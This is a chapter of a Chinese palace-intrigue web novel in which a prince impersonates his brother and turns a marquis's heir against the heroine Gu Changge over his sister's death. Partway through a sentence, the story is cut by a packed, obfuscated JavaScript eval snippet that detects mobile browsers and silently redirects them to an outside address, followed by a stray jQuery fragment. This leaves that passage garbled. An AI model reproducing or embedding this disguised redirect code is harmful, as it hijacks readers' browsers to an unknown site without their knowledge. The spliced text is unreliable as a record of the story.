14.挑拨

作品:《夺权后不忍了

    芸璃殿内,淑妃开始怀疑顾长歌是不是真的有法子。


    贺简流坐在一旁思来想去也想不通,他怀疑询问:“额娘,你处理干净了吗?”


    淑妃转头看向他,眼珠一转,最后确认点头:“毒已经全部处理干净,只有解药在我手里。”


    “那就好,竟然这样,我们也不能坐以待毙。”贺简流摩挲着下巴,他狠厉的眼神仿佛要杀人。


    贺简流准备直接解决掉顾长歌,可这将是他做过最愚蠢的决定。


    淑妃见他那眼神有些发怵,但还是没忍住发问:“你想怎么做?”


    贺简流瞥了她一眼,咬牙说出:“直接了解了她。”


    淑妃垂头思考后决定自己去干,她不想贺简流沾染这些,就算日后被查也不会扯出贺简流。


    永寿宫。


    顾长歌拔出太后身上的银针,仔细观察着针尖上的黑色血液,她不禁发笑。


    身旁帮忙的春芙见她这样,歪头凑上去问道:“王妃这是怎么了。”


    顾长歌转向她,话里带着讽刺:“下毒之人不敢真害死太后,只是想借机将惠妃拉下马而已。”


    春芙愣愣点头,这方面她着实不懂,只知道顾长歌天天忙上忙下,一刻也没闲。


    顾长歌收起银针,起身看了眼周围,她拿出昨夜刚制出来的药丸,转身放入太后口中。


    春芙默不作声的在一旁,顾长歌见她吞下后慵懒的伸了伸腰:“走吧。”语气很是轻松。


    ……


    贺清裴看着面前贺清辞给他配的侍卫,眼里满是讥讽。


    说的好听是派来服侍他,但其实就是安排在他身边监视而已。


    贺清裴不爽的顶着腮帮,竟然这样他也该好好给贺清辞树树敌。


    他拿出纸笔写着,转头递给侍卫瑞青,挑眉说道:“送去给定远候世子。”


    瑞青正了正神色,他受贺清辞安排来盯着贺清裴,必须得问清楚:“这是什么?”


    贺清裴眼神一凛,语气冰冷:“这不是你该问的,竟然叫你过来服侍我就该像条狗一样好好听话。”说着,他还露出抹挑衅的笑。


    瑞青悄悄握紧拳,他很想砸在他脸上,可还是拱手出声:“是。”随后他摔门走出。


    贺清裴想起他刚刚脸上的表情就好笑,也不知道配个机灵点的。


    定远侯府内,谢璟淮提笔认真写着什么,他抬眼注视着墙上顾长歌的画像有些愣神。


    谢璟淮起身走到画像面前,不自觉伸出手抚摸,但理智回神后他拿下墙上所有关于她的画像。


    小心卷起塞进抽屉,这时秋风手里拿着信封走进,见谢璟淮在塞着什么,出声喊着:“世子。”


    谢璟淮听见声音有些心虚,连忙正了正神色问:“什么事?”


    秋风递过信封交给他:“这是您的信,但不知是何人给的。”


    谢璟淮接过看了他一眼,不解的打开:子时三刻,戏院桂菊堂。


    谢璟淮见这字体很是陌生,不知是何人所为,但他觉得必须要去一趟。


    身后探头偷看的秋风突然出声:“不可!”


    正在思考的谢璟淮被他吓了一跳,他狠狠剜了秋风一眼,语气不满:“为何不可?”


    秋风被他眼神吓的缩了回去,但还是嘴硬:“这就是个陷阱,肯定是有人想害世子。”


    这话一出也很有道理,谢璟淮微微颔首,将信塞进袖中,表情坚定:“我去。”


    秋风见他这样还想说些什么,谢璟淮眼睛一盯,指着他道:“你陪我去。”


    这下秋风不敢说话了,他转头露出悲伤的表情,一人演着独角戏。


    子时。


    谢璟淮带着秋风准时赶到。


    小二连忙跑来:“公子是要去桂菊堂吗?”


    谢璟淮点着头,稀里糊涂的就被带到门口。


    小二停下脚步后弯腰笑着退出。


    谢璟淮刚想推门就被秋风拉住,他怕里面有人埋伏,连忙将谢璟淮拉到身后,自己推门查看。


    里面贺清裴还在逗弄着瑞青,见有人推门才转眼看了过去。


    秋风以为他是贺清辞,脸上表情僵住。


    谢璟淮见他楞在门口不进,皱眉推开他往里探。


    贺清裴抿唇一笑:“世子怎么不进来?”


    谢璟淮也以为他是贺清辞,脸色立马冷了下去:“我与王爷好像没什么好说的。”


    “怎会,我与你很有交情。”贺清裴挑眉看着他,笑容就没下去过。


    谢璟淮坐在对面,他也不知道贺清裴有什么事,只觉得眼前的这个人有些奇怪,但就是说不出哪里奇怪。


    贺清裴抬手一挥,身后的瑞青还在像个木头一样站着不动。


    贺清裴见没人搭理,他转头看向瑞青笑道:“给世子倒茶啊。”


    瑞青等他提醒才反应过来,立马上前,谢璟淮却摆摆手,眼神一直盯着贺清裴:“不用劳烦,王爷直接说事就好。”


    贺清裴笑容僵在脸上,打量了眼谢璟淮身后的秋风,随即道:“瑞青,你带着这位小兄弟出去买些吃食回来。”


    瑞青点着头,可秋风就不干了,连忙看着坐着的谢璟淮。


    谢璟淮给了个放心的眼神,秋风这才和瑞青出去。


    谢璟淮等他俩走后才开口:“王爷这下可以说了吧。”


    贺清裴朗笑一声,缓缓出声:“你想知道你姐姐的死因吗?”


    这话一出谢璟淮瞬间不淡定了,他紧紧握着拳,目露凶光道:“王爷这是什么意思?”


    贺清裴见他焦急的表情,不由得发出嗤笑:“世子别急啊。”说着,他抬手给谢璟淮倒了杯茶,“喝点茶慢慢说。”


    谢璟淮推开面前的茶水,身体缓缓前倾:“你究竟知道些什么?”


    贺清裴摩挲着下巴,表情极其欠打:“世子你知道你姐姐死之前在想什么嘛?”他起身走到谢璟淮面前,指尖轻触上谢璟淮脸颊,嘴里学着谢璟婷生前的话,“你为何要杀我,我弟弟不会放过你的。”说着他还做出哭泣的表情。


    谢璟淮听到这话呼吸逐渐急促,抬手给了贺清裴一拳:“是你干的。”


    贺清裴被打


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16857398|191318||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的偏过头,满脸不屑道:“对,就是我贺清辞干的,你想怎么样?”


    谢璟淮见他还这么嚣张,他愤怒掐着贺清裴的脖子抵在墙上。


    被掐着的贺清裴不仅不害怕,还咧着嘴笑出声:“你知道剑刺进去的声音有多动听吗?拔出来的血有多鲜红吗?”


    谢璟淮被愤怒占据了主导,手上力气越来越大,看着贺清裴暴起的青筋,他渐渐露出笑容。


    贺清裴感觉自己快玩拖了,连忙拉回:“不止我,这件事的主导人是顾长歌。”


    谢璟淮听到顾长歌的名字立马回神,他放开了快要窒息的贺清裴,语气焦急:“你说什么?你再说一遍!”


    贺清裴无力的靠着墙壁喘息:“她下毒让三王爷疯魔,还杀死了你姐姐,我只是在一旁看着。”


    谢璟淮瞳孔不可置信的放大,他还是不敢相信。


    贺清裴见他快要相信,又开口:“你姐姐临死之际还扯下了她头上的珠花。”说着他又开始笑。


    其实珠花是有一次谢璟淮吹箫送出后被贺清裴偷偷拿走了,顾长歌根本不知道谢璟淮送了珠花,谢璟淮以为顾长歌收了。


    可现在谢璟淮不得不相信,他眼神开始涣散,贺清裴见他相信后起身拍了拍。


    “所以,你该恨的是顾长歌,她的狠厉程度是你不敢想的。”话落,贺清裴开门走出。


    在外等候的瑞青压制着想冲进屋内的秋风,他见贺清裴脖颈上的红印,脸上满是无语,他还以为是贺清裴在打谢璟淮,可没想到贺清裴才是被打的那个。


    “干什么呢?瑞青快松开,我们该回了,不然王妃该等急了。”贺清裴笑着往楼下走,转身时眼里满是得意。


    瑞青松开了挣扎的秋风,面无表情的跟在贺清裴身后。


    秋风见自己被松开,连忙跑进屋,只见谢璟淮呆愣的坐在桌前,他不知贺清裴跟他说了什么,脸上担忧尽显:“世子,世子你怎么了?”


    谢璟淮被他喊的回神,心里那块石头终究还是裂开了,他一开始还不相信顾长歌会如此心狠,可所有证据都指向她的那一刻,谢璟淮也迷茫了。


    ……


    隔日午后,株粹宫内。


    顾长歌翻着医书的手一抖,莫名觉得有些心慌,她轻轻放下书,拿出腰间的瓷瓶倒出药丸吞了下去。


    刚进门的春芙看见这一幕,她忧心问道:“王妃心里又不舒服了吗?”


    顾长歌点着头,盯着眼前自己熬夜制出来的凝露散,不知在想些什么。


    春芙叹了口气,自从嫁进王府后顾长歌就开始吃药,每次心慌时就会立马来上一颗,春芙不禁心疼的看着顾长歌。


    顾长歌感受到视线,转头扯出抹放心的微笑,抬手轻轻拍了拍春芙,语气温柔:“没事,只是最近有些疲惫。”


    春芙拿出在外打探到的信息递给顾长歌,她接过一看,上面记录着谢璟淮这几日的行程,见他去过桂菊堂后顾长歌不由得眉心一跳。


    心中肯定是贺清裴出手了,顾长歌冷笑一声喃喃:“中毒了还这么闲,那该好好涨点教训了。”